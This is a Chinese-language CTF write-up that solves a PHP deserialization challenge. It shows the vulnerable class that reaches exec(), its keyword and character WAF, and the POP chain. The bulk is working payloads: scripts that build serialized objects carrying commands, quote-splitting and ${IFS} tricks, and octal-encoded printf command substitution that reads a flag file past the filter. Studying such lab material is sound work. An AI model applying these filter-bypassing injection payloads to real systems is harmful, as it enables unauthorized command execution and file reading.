新人觉得这道题难,而且还要考虑八进制绕过,不知道十六进制是否可以,看网上都是八进制绕过
知识点:php反序列化、代码审计、waf绕过
源代码
<?php
highlight_file(__FILE__);
class ease{
private $method;
private $args;
function __construct($method, $args) {//创建对象时调用
$this->method = $method;
$this->args = $args;
}
function __destruct(){//明确销毁对象或脚本结束时被调用
if (in_array($this->method, array("ping"))) {//判断method是否为ping
call_user_func_array(array($this, $this->method), $this->args);
//call_user_func_array(array(类ease,函数ping),传入的参数args);
//其中args为数组形式<由call_user_func_array性质决定
}
}
function ping($ip){//$ip由__destruct()中的args提供
exec($ip, $result);//结果保存在result中
var_dump($result);
}
function waf($str){
if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {
return $str;
} else {
echo "don't hack";
}
}
function __wakeup(){//unserialize时调用
foreach($this->args as $k => $v) {//遍历args数组,进行waf检测
$this->args[$k] = $this->waf($v);
}
}
}
$ctf=@$_POST['ctf'];
@unserialize(base64_decode($ctf));
php反序列化,存在pop链,首先一般找链尾,如出现@eval(),echo $flag,var_dump()等危险函数或者关键字输出,找到function ping(),ping(ip)参数由__destruct提供,即ping()在__destruct中被调用,由此找到__destruct(),而__destruct在对象被销毁时调用,看哪存在对象销毁,找到function waf(),而waf()在__wakeup()中被调用,找到__wakeup(),__wakeup()在发生反序列化时被调用,找到__wakeup()就找到pop链头了,故unserialize-->>__wakeup()-->>waf()-->>__destruct()-->>ping(),结合代码可知,method=ping,args为数组,且ping "args里面的值",故构造
ls,flag被过滤,可以写成l''s,l""s,f''lag,f""lag绕过(保险起见写f""lag,我后面写f''lag不起作用)
空格被过滤用${IFS},$IFS$9等代替
<?php
highlight_file(__FILE__);
class ease{
private $method;
private $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
}
$a=new ease("ping",array('l""s'));//或者$a=new ease("ping",array("l''s"));
$b = serialize($a);
echo base64_encode($b);
?>
<?php
highlight_file(__FILE__);
class ease{
private $method;
private $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
}
$a=new ease("ping",array('l""s${IFS}f""lag_1s_here'));
//老老实实写外单引号,内双引号,像array("l''s${IFS}f''lag_1s_here")这种外双引号内单引号不起作用了,输出为array[0]{}(反正我电脑是这样)
$b = serialize($a);
echo base64_encode($b);
?>
后面就是查看flagxxx.php ,cat/tac被过滤可以用more/less,但是/也被过滤了,难搞!看网上采用八进制绕过,参照网上大佬的python脚本
str1 = "cat flag_1s_here/flag_831b69012c67b35f.php"
arr = []
for i in str1:
#对字符先转换为ASCII码,再转换为八进制
r = oct(ord(i))
#这个主要是为了将八进制前面的0o替换掉
r=str(r).replace("0o","")
arr.append(r)
s = "\\"
# print(arr)
#将所有的八进制组合,最终的结果第一个地方应该再添加一个\
p=s.join(arr)
print(p)
输出后
别忘了在143前面加\
<?php
class ease{
private $method;
private $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
}
$a=new ease("ping",array('$(printf${IFS}"\143\141\164\40\146\154\141\147\137\61\163\137\150\145\162\145\57\146\154\141\147\137\70\63\61\142\66\71\60\61\62\143\66\67\142\63\65\146\56\160\150\160")'));
$b = serialize($a);
echo base64_encode($b);
?>
结果